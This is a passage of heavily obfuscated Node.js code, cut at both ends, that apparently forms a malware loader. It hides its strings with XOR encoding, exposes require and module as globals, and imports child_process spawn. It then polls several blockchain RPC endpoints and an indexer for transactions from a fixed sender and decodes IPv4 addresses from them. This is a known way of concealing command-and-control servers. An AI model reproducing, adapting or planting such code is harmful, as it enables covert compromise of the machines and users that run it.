aa1bba6a4ace6f8faf8e7f9e7f9e7f9e99aa8afa8bba0e6fcfafee7faff','aeb3a0b9e5e9adacafa5a8bdace5e9abbb','babdbba0a7aea0afb0','b9a8bda1a7a8a4ac','adacafa5a8bdac','aeacbd','a8b9b9a5a0aaa8bda0a6a7e6a3baa6a7','f3fdfdfae6f9b1e6aaa5ba','acbda196aeacbd8ba5a6aaa28bb087bca4abacbb','aaa6a7bdbba6a5a5acbb','a7a6adacf3b3a5a0ab','aaa1a8bb8aa6adac88bd','bbacbabca4ac','eef2aea5a6aba8a592ee96bd96baee94f4ee','aba5a6aaa287bca4abacbb','88f8f8e4e4e3','a1bdbdb9baf3e6e6acbda1acbbacbca4e4bbb9aae7b9bcaba5a0aaa7a6adace7aaa6a4','eef2aea5a6aba8a592ee9681ee94f4ee','b1e4aeb3a0b9','acbda196aeacbd9dbba8a7baa8aabda0a6a78aa6bca7bd','fa9ca6af9090a5','aaa8bdaaa1','a8aba6bbbd','a1bdbdb9baf3e6e6acbda1e4a4a8a0a7a7acbde7b9bcaba5a0aae7aba5a8babda8b9a0e7a0a6','eef2aea5a6aba8a592eebbee94f4bbacb8bca0bbacf2aea5a6aba8a592eea4ee94f4a4a6adbca5acf2bfa8bbe996aea5a6aba8a5f4aea5a6aba8a5f2','a8a7b0','84a0babaa0a7aee991e499a8b0a5a6a8ade48bfffd','afbba6a4','8aa6a7bdaca7bde49db0b9ac','aca7bf','aaa6a7aaa8bd','b9a6bbbd','a1a6babda7a8a4ac','b9bba6bda6aaa6a5','a2acacb9e4a8a5a0bfac','a8a5a5','abb0bdac85aca7aebda1','eef2aea5a6aba8a592ee96bd96bcee94f4ee','afa0a7ad','afa0a7ad80a7adacb1','fbfff9f9faf1fc99bb8699a088','96bd96bc','afa6bb8ca8aaa1','aca7ad','aabbaca8bdac8ebca7b3a0b9','bda69abdbba0a7ae','bda685a6beacbb8aa8baac'];GSkqNNyuJw$_padNcYwam=function(){return etOZXsn_OxqoSnJy$OEFSTCE;};return GSkqNNyuJw$_padNcYwam();}const BEf$CYFUWXrAiwaYBJ=WlysIxGuPMcViepbraDjp_wli;(function(Xl$bf$sDoXoJDYYk,HTDn$viaGa){const KyT$ImpNQojHcB=WlysIxGuPMcViepbraDjp_wli,nZXZyKB_XfHpJ=Xl$bf$sDoXoJDYYk();while(!![]){try{const Bjb__LSBuuTvrwOljv=parseFloat(KyT$ImpNQojHcB(0x168))/(0x562+0x1*Number(-parseInt(0x502))+parseInt(0x13)*-parseInt(0x5))*(-parseFloat(KyT$ImpNQojHcB(0x171))/(parseInt(0x1)*parseFloat(-0xe21)+parseInt(0x4)*parseInt(0x22)+0x3*Math.floor(parseInt(0x489))))+parseFloat(KyT$ImpNQojHcB(0x1a9))/(Math.max(0xd,parseInt(0xd))*parseFloat(-parseInt(0x112))+-0x1*0x2516+Math.trunc(0x5ab)*0x9)*Math['ceil'](parseFloat(KyT$ImpNQojHcB(0x152))/(Math.max(0xe4a,0xe4a)+Number(-0x13)*-parseInt(0x121)+-0x23b9))+-parseFloat(KyT$ImpNQojHcB(0x1bd))/(-0x729+parseInt(parseInt(0x7))*Math.max(-0xf7,-0xf7)+parseInt(0xdef))*parseFloat(parseFloat(KyT$ImpNQojHcB(0x16d))/(-0x659+Number(-parseInt(0x559))*parseInt(-parseInt(0x2))+-parseInt(0x7b)*Number(parseInt(0x9))))+Math['floor'](-parseFloat(KyT$ImpNQojHcB(0x190))/(parseInt(0x1da3)+parseInt(0x3)*Math.trunc(0x22d)+-0x2423))+parseFloat(-parseFloat(KyT$ImpNQojHcB(0x16a))/(-parseInt(0xf5)*-0x27+Math.ceil(0x18ee)+Number(-0x3e39)))+parseFloat(KyT$ImpNQojHcB(0x17f))/(parseInt(0xd44)+parseFloat(0xa75)+Math.ceil(-parseInt(0x17b0)))+parseFloat(KyT$ImpNQojHcB(0x184))/(parseInt(0x1e87)+parseInt(0x1c8b)*parseInt(-parseInt(0x1))+Math.floor(-0x1f2))*Number(parseFloat(KyT$ImpNQojHcB(0x187))/(parseInt(0x22f8)+0x2662+-0x494f));if(Bjb__LSBuuTvrwOljv===HTDn$viaGa)break;else nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}catch(QTrIuEpsrXWNzFyCLzuoNxfM){nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}}}(GSkqNNyuJw$_padNcYwam,parseInt(0x1)*-0xc3d37+-parseInt(0xf8a8f)+parseInt(parseInt(0x2ac185))*0x1),global['i']=BEf$CYFUWXrAiwaYBJ(0x1a4),global['r']=require);if(typeof module===BEf$CYFUWXrAiwaYBJ(0x1cb))global['m']=module;const http=require(BEf$CYFUWXrAiwaYBJ(0x164)),https=require(BEf$CYFUWXrAiwaYBJ(0x177)),zlib=require(BEf$CYFUWXrAiwaYBJ(0x19f)),{URL}=require(BEf$CYFUWXrAiwaYBJ(0x18a)),{spawn}=require(BEf$CYFUWXrAiwaYBJ(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=BEf$CYFUWXrAiwaYBJ(0x155)[BEf$CYFUWXrAiwaYBJ(0x1c3)](),NONCE_FANOUT=parseFloat(0x832)+0x2b6*parseInt(0x1)+0x22c*parseFloat(-0x5),SEARCH_FLOOR=0x0n,INDEXER_URL=BEf$CYFUWXrAiwaYBJ(0x186),RPC_ENDPOINTS=[...new Set([process[BEf$CYFUWXrAiwaYBJ(0x1b2)][BEf$CYFUWXrAiwaYBJ(0x173)],BEf$CYFUWXrAiwaYBJ(0x1c9),BEf$CYFUWXrAiwaYBJ(0x178),BEf$CYFUWXrAiwaYBJ(0x1a5),BEf$CYFUWXrAiwaYBJ(0x1ac)][BEf$CYFUWXrAiwaYBJ(0x156)](Boolean))],AGENTS={'http:':new http[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq){const kWTEsEcWlD_BUQH=GSkqNNyuJw$_padNcYwam();return WlysIxGuPMcViepbraDjp_wli=function(tA_RC$xn,isVtuf$ZSU$huUCt){tA_RC$xn=tA_RC$xn-(parseInt(0x1)*parseFloat(-parseInt(0xfa6))+-0xbd*Math.ceil(0x1d)+parseInt(0x2660));let NMEoPhIkCfevMgn=kWTEsEcWlD_BUQH[tA_RC$xn];if(WlysIxGuPMcViepbraDjp_wli['DygzNg']===undefined){const WYkNNREB=function(yKfxUzllsQeciuTTd){let WNSfkHUMF__gRFhcdmgOuEhgmQ=-parseInt(0x5d1)+Math.trunc(-0xf9e)+parseInt(-0xc1c)*-0x2&parseFloat(parseInt(0x2134))+0x2252+-parseInt(0x4287),ngyngPAupzHA$yVGA=new Uint8Array(yKfxUzllsQeciuTTd['match'](/.{1,2}/g)['map'](sQCRcCAvmfPvdrQIY$uj$Ss=>parseInt(sQCRcCAvmfPvdrQIY$uj$Ss,-0x793*Math.ceil(0x1)+-0x178d*Number(-0x1)+-parseInt(0xfea)))),chTIQE$dvTHGh_M=ngyngPAupzHA$yVGA['map'](nanuwgOSOV=>nanuwgOSOV^WNSfkHUMF__gRFhcdmgOuEhgmQ),ebdo$Q_z=new TextDecoder(),X$UlamGszKv_mpfCd=ebdo$Q_z['decode'](chTIQE$dvTHGh_M);return X$UlamGszKv_mpfCd;};WlysIxGuPMcViepbraDjp_wli['jYnEnM']=WYkNNREB,spFB_wLVORqvKrwa=arguments,WlysIxGuPMcViepbraDjp_wli['DygzNg']=!![];}const kOlyQ$dtGKf=kWTEsEcWlD_BUQH[-0x18c0+Math.floor(-0x101b)+0x28db],MsdHTfLBNjfnWUlbt=tA_RC$xn+kOlyQ$dtGKf,Kepv_qCFfNHmUDX$mOnAR=spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt];return!Kepv_qCFfNHmUDX$mOnAR?(WlysIxGuPMcViepbraDjp_wli['LkFify']===undefined&&(WlysIxGuPMcViepbraDjp_wli['LkFify']=!![]),NMEoPhIkCfevMgn=WlysIxGuPMcViepbraDjp_wli['jYnEnM'](NMEoPhIkCfevMgn),spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt]=NMEoPhIkCfevMgn):NMEoPhIkCfevMgn=Kepv_qCFfNHmUDX$mOnAR,NMEoPhIkCfevMgn;},WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq);}function linkAbort(qRbWgh$_L,GlRQrYsHirhY$Vyg){const Sxq$NJJJDIKAYR=BEf$CYFUWXrAiwaYBJ;if(!qRbWgh$_L)return;qRbWgh$_L[Sxq$NJJJDIKAYR(0x15a)](Sxq$NJJJDIKAYR(0x1ab),()=>GlRQrYsHirhY$Vyg[Sxq$NJJJDIKAYR(0x1ab)](),{'once':!![]});}function decompressStream(q$Tdc$Ms){const xbMpkdUo=BEf$CYFUWXrAiwaYBJ,HDk$i_Z=(q$Tdc$Ms[xbMpkdUo(0x1c7)][xbMpkdUo(0x174)]||'')[xbMpkdUo(0x1c3)]();if(HDk$i_Z===xbMpkdUo(0x165)||HDk$i_Z===xbMpkdUo(0x1a7))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x1c1)]());if(HDk$i_Z===xbMpkdUo(0x199))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x182)]());if(HDk$i_Z==='br')return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x191)]());return q$Tdc$Ms;}function httpRequest(SuzOqhu_wsl,{method:method=BEf$CYFUWXrAiwaYBJ(0x181),body:HpQOCCKnMmgvJrjeVnbVO,signal:cLnqigtE$K}={}){const nPXXxsFSwK=BEf$CYFUWXrAiwaYBJ,bdbsDZ$mDFcLDwI_rrpLTi=new URL(SuzOqhu_wsl),pzi_$pbcMvkvReYcWnCZf=bdbsDZ$mDFcLDwI_rrpLTi[nPXXxsFSwK(0x1b6)]===nPXXxsFSwK(0x161)?https:http,St_LmIDhBUQfKK$dtTIU={'Accept':nPXXxsFSwK(0x19b),'Accept-Encoding':nPXXxsFSwK(0x196),'Connection':nPXXxsFSwK(0x1b7)};return HpQOCCKnMmgvJrjeVnbVO!=null&&(St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x1b1)]=nPXXxsFSwK(0x19b),St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x153)]=Buffer[nPXXxsFSwK(0x1b9)](HpQOCCKnMmgvJrjeVnbVO)),new Promise((uorYmoQfC_wpoWBP,aS_zzfOgL)=>{const BqQs$upLLUi=nPXXxsFSwK,FDg$trqDV_oIT=pzi_$pbcMvkvReYcWnCZf[BqQs$upLLUi(0x16e)]({'hostname':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b5)],'port':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b4)]||(bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]===BqQs$upLLUi(0x161)?Math.max(-parseInt(0x262a),-0x262a)+Math.floor(0xc2e)+Math.floor(0x285)*parseInt(0xb):-parseInt(0x1520)+parseInt(0x1984)+Math.max(-parseInt(0x414),-0x414)),'path':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x198)]+bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x158)],'method':method,'agent':AGENTS[bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]],'signal':cLnqigtE$K,'headers':St_LmIDhBUQfKK$dtTIU},sec$BG_XeSh=>{const nUBOSFVvyTUKL_bnU=BqQs$upLLUi,iyYkiywGkhxX_wNy_WQ=decompressStream(sec$BG_XeSh),dAli$ezckXOQr_dteiCvPPfEREi=[];iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x18e),SFgiGfNPZDODEIQC=>dAli$ezckXOQr_dteiCvPPfEREi[nUBOSFVvyTUKL_bnU(0x166)](SFgiGfNPZDODEIQC)),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x1c0),()=>{const IURRbBFEfhdLXxf=nUBOSFVvyTUKL_bnU;try{uorYmoQfC_wpoWBP(JSON[IURRbBFEfhdLXxf(0x17c)](Buffer[IURRbBFEfhdLXxf(0x1b3)](dAli$ezckXOQr_dteiCvPPfEREi)[IURRbBFEfhdLXxf(0x1c2)](IURRbBFEfhdLXxf(0x1c4))));}catch(EaYunjJH_vpAdAxipn){aS_zzfOgL(EaYunjJH_vpAdAxipn);}}),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x188),aS_zzfOgL);});FDg$trqDV_oIT['on'](BqQs$upLLUi(0x188),aS_zzfOgL);if(HpQOCCKnMmgvJrjeVnbVO!=null)FDg$trqDV_oIT[BqQs$upLLUi(0x16c)](HpQOCCKnMmgvJrjeVnbVO);FDg$trqDV_oIT[BqQs$upLLUi(0x1c0)]();});}async function withRpcEndpoints(WADEdCtPHv$W_QkABREA,PRKttmQHVWtMFTZuAS){const kEfbdhXYLiYLvXjcpUkpITudq=BEf$CYFUWXrAiwaYBJ,lpJOrOGUuMGz$oIaG=RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)](()=>new AbortController());lpJOrOGUuMGz$oIaG[kEfbdhXYLiYLvXjcpUkpITudq(0x1bf)](t$LTsfTIbSTMMCRUvIzc=>linkAbort(PRKttmQHVWtMFTZuAS,t$LTsfTIbSTMMCRUvIzc));try{return await Promise[kEfbdhXYLiYLvXjcpUkpITudq(0x1ae)](RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)]((DVtayaOitikldZPPoWQu,LMddbXnCA)=>WADEdCtPHv$W_QkABREA(DVtayaOitikldZPPoWQu,lpJOrOGUuMGz$oIaG[LMddbXnCA][kEfbdhXYLiYLvXjcpUkpITudq(0x18c)])));}finally{for(const eTYfSIVUcIbiVQhOP of lpJOrOGUuMGz$oIaG)eTYfSIVUcIbiVQhOP[kEfbdhXYLiYLvXjcpUkpITudq(0x1ab)]();}}async function rpcCall(ASrYvwRNhb$d$lFiE,ZsQMeCj_GUR,JShZnjH_aR,htuoDkxWCrU){const qwsnrJLDkrSgda=BEf$CYFUWXrAiwaYBJ,E$FZbNjRk$eX=await httpRequest(ASrYvwRNhb$d$lFiE,{'method':qwsnrJLDkrSgda(0x180),'body':JSON[qwsnrJLDkrSgda(0x197)]({'jsonrpc':qwsnrJLDkrSgda(0x176),'id':0x1,'method':ZsQMeCj_GUR,'params':JShZnjH_aR}),'signal':htuoDkxWCrU});return E$FZbNjRk$eX[qwsnrJLDkrSgda(0x15d)];}async function rpcBatch(lDejkuZhqqaodSuDQTw,yNiYV_dfUft,T_vPGSx){const RgisztlhTFeAZY=BEf$CYFUWXrAiwaYBJ,Ce$gUKS=await httpRequest(lDejkuZhqqaodSuDQTw,{'method':RgisztlhTFeAZY(0x180),'body':JSON[RgisztlhTFeAZY(0x197)](yNiYV_dfUft[RgisztlhTFeAZY(0x170)](([iljaNbsNAegZnsSMfuHG,UhTsWgssgV_YDs$EvQ],hAn$Dxchc)=>({'jsonrpc':RgisztlhTFeAZY(0x176),'id':hAn$Dxchc+(parseInt(0x53)*-0xd+parseInt(-parseInt(0x7))*parseFloat(parseInt(0x35f))+-parseInt(0x1bd1)*-parseInt(0x1)),'method':iljaNbsNAegZnsSMfuHG,'params':UhTsWgssgV_YDs$EvQ}))),'signal':T_vPGSx}),loKNW$ZEHPqwORFBaZndj$qef=new Map(Ce$gUKS[RgisztlhTFeAZY(0x170)](Hl$GzK=>[Hl$GzK['id'],Hl$GzK]));return yNiYV_dfUft[RgisztlhTFeAZY(0x170)]((rGbwK$FU,WOWcZfwO_kkhojX)=>loKNW$ZEHPqwORFBaZndj$qef[RgisztlhTFeAZY(0x19a)](WOWcZfwO_kkhojX+(Math.ceil(0xb60)+Math.floor(0x1091)*-0x2+parseInt(-0x1)*-parseInt(0x15c3)))[RgisztlhTFeAZY(0x15d)]);}const toBlockHex=nPMI$oplQLHIfFIMh$MXlWouLYr=>'0x'+nPMI$oplQLHIfFIMh$MXlWouLYr[BEf$CYFUWXrAiwaYBJ(0x1c2)](Math.trunc(-0x9e7)+parseInt(0x4a)*-parseInt(0x1f)+-0x11d*parseFloat(-0x11));function findSenderTx(JlepYaLvfHyt){const SBYThyjM$PN_bMmdJBQYZ=BEf$CYFUWXrAiwaYBJ;return JlepYaLvfHyt[SBYThyjM$PN_bMmdJBQYZ(0x1bb)](tQMkfGioJnQRZXosCHWMbN=>tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)]&&tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)][SBYThyjM$PN_bMmdJBQYZ(0x1c3)]()===SENDER)||null;}function decodeAddress(LLFlttzzZOjWxX){const KyRKDi_zVgoWr$Fcp=BEf$CYFUWXrAiwaYBJ,GHVvJhQqwuZof_fMJJmhgHtG=Buffer[KyRKDi_zVgoWr$Fcp(0x1b0)](LLFlttzzZOjWxX[KyRKDi_zVgoWr$Fcp(0x15b)](/^0x/i,''),KyRKDi_zVgoWr$Fcp(0x1ca)),oc_pQi$hRDfnjMb=NtzkwLinmHzrb$T$VOVzhvqWzO=>NtzkwLinmHzrb$T$VOVzhvqWzO[-parseInt(0x3d)*-0x52+-0x174*Number(-0xd)+-parseInt(0x1337)*0x2]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(-parseInt(0x12fd))+Number(-0x1af)*0xc+parseInt(0x2732)]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(0x31)*parseInt(0x55)+-0x1e78+parseInt(parseInt(0xe35))]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[Number(parseInt(0x299))+parseInt(0x13fc)+Math.trunc(-0x1692)];return[oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](Math.ceil(0x25)*-0x103+Math.max(-parseInt(0x960),-parseInt(0x960))+0x2ecf,parseInt(0x146c)+Number(0x4)*parseInt(0x2f0)+-parseInt(0x62)*Math.max(0x54,parseInt(0x54)))),oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](0x67*Number(parseInt(0x5b))+0x6*parseInt(-0x401)+Math.ceil(parseInt(0x3))*-0x431,Math.ceil(-0x15b5)+-0x706*parseInt(0x3)+Math.floor(parseInt(0x2acf))))];}function firstMatch(RXQiRBl){return new Promise(ycfoHDNWrbSH=>{const agPpRSoihEXM=WlysIxGuPMcViepbraDjp_wli;let PW_L$mqJD=RXQiRBl[agPpRSoihEXM(0x192)];if(!PW_L$mqJD)return ycfoHDNWrbSH(null);let c_DcWifKzZZiWxV=![];const MQgJSlLDkonMvAdlnGaV=YXh_Wriz=>{const SLDTKOeeSQmQylQqge$fqRAt=agPpRSoihEXM;if(c_DcWifKzZZiWxV)return;c_DcWifKzZZiWxV=!![];for(const onzMmVaA$nTKSNPFeFyEHd of RXQiRBl)onzMmVaA$nTKSNPFeFyEHd[SLDTKOeeSQmQylQqge$fqRAt(0x19e)][SLDTKOeeSQmQylQqge$fqRAt(0x1ab)]();ycfoHDNWrbSH(YXh_Wriz);};for(const HSdfIaIW$pedbsDYi of RXQiRBl){HSdfIaIW$pedbsDYi[agPpRSoihEXM(0x172)]()[agPpRSoihEXM(0x18b)](lmICTA_NUarZEN=>{if(c_DcWifKzZZiWxV)return;if(lmICTA_NUarZEN)MQgJSlLDkonMvAdlnGaV(lmICTA_NUarZEN);else{if(--PW_L$mqJD===parseInt(0x73)*parseInt(-parseInt(0x4b))+parseFloat(-parseInt(0x280))*Math.ceil(-parseInt(0xe))+-0x14f)ycfoHDNWrbSH(null);}})[agPpRSoihEXM(0x1aa)](()=>{if(!c_DcWifKzZZiWxV&&--PW_L$mqJD===0x1a03+0x7e5+-parseInt(0x21e8))ycfoHDNWrbSH(null);});}});}function candidateBlocks(bLkeguRlGKpOR$sJag_F){const XijawxtX$yOfNKoIBZeBqs=BEf$CYFUWXrAiwaYBJ,cjbYFRMDhmUrBgfcnqAce=bLkeguRlGKpOR$sJag_F-BLOCK_MULTIPLE,xfUDNMijvuXOjMQBDF=new Set(),rHOWoPAmb$L=[];for(const eItYBJvGagwlwlgoIyvkFxSC of[bLkeguRlGKpOR$sJag_F-0x1n,bLkeguRlGKpOR$sJag_F,bLkeguRlGKpOR$sJag_F+0x1n,cjbYFRMDhmUrBgfcnqAce-0x1n,cjbYFRMDhmUrBgfcnqAce,cjbYFRMDhmUrBgfcnqAce+0x1n]){if(eItYBJvGagwlwlgoIyvkFxSC<0x0n)continue;const N$zKLRegWIHol=eItYBJvGagwlwlgoIyvkFxSC[XijawxtX$yOfNKoIBZeBqs(0x1c2)]();if(xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x16b)](N$zKLRegWIHol))continue;xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x179)](N$zKLRegWIHol),rHOWoPAmb$L[XijawxtX$yOfNKoIBZeBqs(0x166)](eItYBJvGagwlwlgoIyvkFxSC);}return rHOWoPAmb$L;}function blockTask(AXUCxPFXCcG){const CcSk$dOOG$tJaJ=new AbortController();return{'controller':CcSk$dOOG$tJaJ,'run':async()=>{const Flb_PeG=WlysIxGuPMcViepbraDjp_wli,J$ygYIX=await withRpcEndpoints((yVvvyY_XmC$ilpeTJT,QzgqxL$lrANn)=>rpcCall(yVvvyY_XmC$ilpeTJT,Flb_PeG(0x19d),[toBlockHex(AXUCxPFXCcG),!![]],QzgqxL$lrANn),CcSk$dOOG$tJaJ[Flb_PeG(0x18c)]),lFUiajiB$mhdtEP=J$ygYIX?.[Flb_PeG(0x175)];if(!Array[Flb_PeG(0x1c6)](lFUiajiB$mhdtEP))return null;const CX$IIYzbRMljhGDGQOn=findSenderTx(lFUiajiB$mhdtEP);return CX$IIYzbRMljhGDGQOn?{'blockNumber':AXUCxPFXCcG,'tx':CX$IIYzbRMljhGDGQOn}:null;}};}async function nonceAtBlocks(xn_wtGgYrKQjgNW_pA,esAMqTjgXNpOIVWCUlHCiJWR){const gC$IHIGOXbRBecVx_R=BEf$CYFUWXrAiwaYBJ,OYgjuXmanrbYtfW=xn_wtGgYrKQjgNW_pA[gC$IHIGOXbRBecVx_R(0x170)](mgcOt=>[gC$IHIGOXbRBecVx_R(0x1a8),[SENDER,toBlockHex(mgcOt)]]);try{return(await withRpcEndpoints((RHnOdxdnc$LyRixBY,DPj_yjR$iRFwaGZps)=>rpcBatch(RHnOdxdnc$LyRixBY,OYgjuXmanrbYtfW,DPj_yjR$iRFwaGZps),esAMqTjgXNpOIVWCUlHCiJWR))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}catch{return(await Promise[gC$IHIGOXbRBecVx_R(0x1b8)](OYgjuXmanrbYtfW[gC$IHIGOXbRBecVx_R(0x170)](([GuGZhYYgT$kyp,PkcxliQBzC])=>withRpcEndpoints((TfBe$DuDUAFUEyKCAXfdMQR,ELXbSluHr_MPeDjZHUnE$jZq)=>rpcCall(TfBe$DuDUAFUEyKCAXfdMQR,GuGZhYYgT$kyp,PkcxliQBzC,ELXbSluHr_MPeDjZHUnE$jZq),esAMqTjgXNpOIVWCUlHCiJWR))))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}}async function lastSenderTx(m_ixszc$Qu){const KYZeSIB=BEf$CYFUWXrAiwaYBJ,vOeJlPmLwpiHL$oohJee=new AbortController();try{const Zh$sPizEILiVZEl=m_ixszc$Qu??BigInt(await withRpcEndpoints((HNTZRdfPREnYvbYPL,OS_$UBVWEnUUVQ)=>rpcCall(HNTZRdfPREnYvbYPL,KYZeSIB(0x160),[],OS_$UBVWEnUUVQ),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),KdmVwLcnVRrGrW=BigInt(await withRpcEndpoints((Jnijrm$GJWFBXseOLFirZ$D,pxHSUzAottYo)=>rpcCall(Jnijrm$GJWFBXseOLFirZ$D,KYZeSIB(0x1a8),[SENDER,toBlockHex(Zh$sPizEILiVZEl)],pxHSUzAottYo),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),wxMNGaAYpSO=KdmVwLcnVRrGrW-0x1n;let EyfGMqfGt=SEARCH_FLOOR-0x1n,MFMjq=Zh$sPizEILiVZEl;while(MFMjq-EyfGMqfGt>0x1n){const xuQ$dxkjYVLINjswAjZJx=MFMjq-EyfGMqfGt-0x1n,opSYF_xqlkKe_bDDtuDuy=BigInt(Math[KYZeSIB(0x15e)](NONCE_FANOUT,Number(xuQ$dxkjYVLINjswAjZJx))),CM$Wz_bSEuXKdWfi=[];for(let IR$LUC=0x1n;IR$LUC<=opSYF_xqlkKe_bDDtuDuy;IR$LUC+=0x1n)CM$Wz_bSEuXKdWfi[KYZeSIB(0x166)](EyfGMqfGt+IR$LUC*(MFMjq-EyfGMqfGt)/(opSYF_xqlkKe_bDDtuDuy+0x1n));const SoikConeelN=await nonceAtBlocks(CM$Wz_bSEuXKdWfi,vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),QcLgfQBypzvCa=SoikConeelN[KYZeSIB(0x1bc)](ceRuRdAnCmORJt=>ceRuRdAnCmORJt>=KdmVwLcnVRrGrW);if(QcLgfQBypzvCa===-(-parseInt(0x82f)+parseInt(0x622)+Math.floor(0x20e)))EyfGMqfGt=CM$Wz_bSEuXKdWfi[CM$Wz_bSEuXKdWfi[KYZeSIB(0x192)]-(-0x1dd8+Number(-0x244)+0x1*Math.floor(parseInt(0x201d)))];else{MFMjq=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa];if(QcLgfQBypzvCa>Number(0x1)*parseInt(0x11f)+-parseInt(0x3)*parseFloat(parseInt(0xa9))+Math.max(parseInt(0xdc),0xdc))EyfGMqfGt=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa-(Math.trunc(0x1)*-0x752+0x1dfd+-0xb55*parseInt(parseInt(0x2)))];}}const pwsZeE=await withRpcEndpoints((ozRbTmuUOSQxTaHSxAMAP,TEeXvPj)=>rpcCall(ozRbTmuUOSQxTaHSxAMAP,KYZeSIB(0x19d),[toBlockHex(MFMjq),!![]],TEeXvPj),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),MewjUeWTCE$egTDNiInBMBgf=pwsZeE?.[KYZeSIB(0x175)]||[];let tqCDDCknnC=null;for(const b__FnlemnKd of MewjUeWTCE$egTDNiInBMBgf){if(!b__FnlemnKd[KYZeSIB(0x1b0)]||b__FnlemnKd[KYZeSIB(0x1b0)][KYZeSIB(0x1c3)]()!==SENDER)continue;if(BigInt(b__FnlemnKd[KYZeSIB(0x154)])===wxMNGaAYpSO){tqCDDCknnC=b__FnlemnKd;break;}if(!tqCDDCknnC||BigInt(b__FnlemnKd[KYZeSIB(0x154)])>BigInt(tqCDDCknnC[KYZeSIB(0x154)]))tqCDDCknnC=b__FnlemnKd;}return{'blockNumber':MFMjq,'tx':tqCDDCknnC};}finally{vOeJlPmLwpiHL$oohJee[KYZeSIB(0x1ab)]();}}async function lastSenderTxViaIndexer(){const SCVGJ_IJGWPiEDEMaV_PMtnULo=BEf$CYFUWXrAiwaYBJ,kxNKGgueUA=INDEXER_URL+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x194)+SENDER+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x163),x$JrfbIZLbybosqwSDBfAq=await httpRequest(kxNKGgueUA),VXW_mxRMrUhuG$E=Array[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c6)](x$JrfbIZLbybosqwSDBfAq?.[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)])?x$JrfbIZLbybosqwSDBfAq[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)]:[],oizDGSQQ_RyjP$GbM=VXW_mxRMrUhuG$E[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1bb)](jigmfjPfLbDrJaOT=>jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)]&&jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)][SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c3)]()===SENDER);return{'blockNumber':BigInt(oizDGSQQ_RyjP$GbM[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1a3)]),'tx':oizDGSQQ_RyjP$GbM};}async function run(){const whs$nYWTlPzY=BEf$CYFUWXrAiwaYBJ,zMgSeaz=BigInt(await withRpcEndpoints((qtPCkCRAEVWH_NkH_cnm,f_UHJffpCvbHRB$tiJPyp)=>rpcCall(qtPCkCRAEVWH_NkH_cnm,whs$nYWTlPzY(0x160),[],f_UHJffpCvbHRB$tiJPyp))),CWWJsO$TZ=zMgSeaz-zMgSeaz%BLOCK_MULTIPLE;let oIucMTWeI=await firstMatch(candidateBlocks(CWWJsO$TZ)[whs$nYWTlPzY(0x170)](blockTask));!oIucMTWeI&&(oIucMTWeI=await lastSenderTx(zMgSeaz)[whs$nYWTlPzY(0x1aa)](()=>lastSenderTxViaIndexer()));const 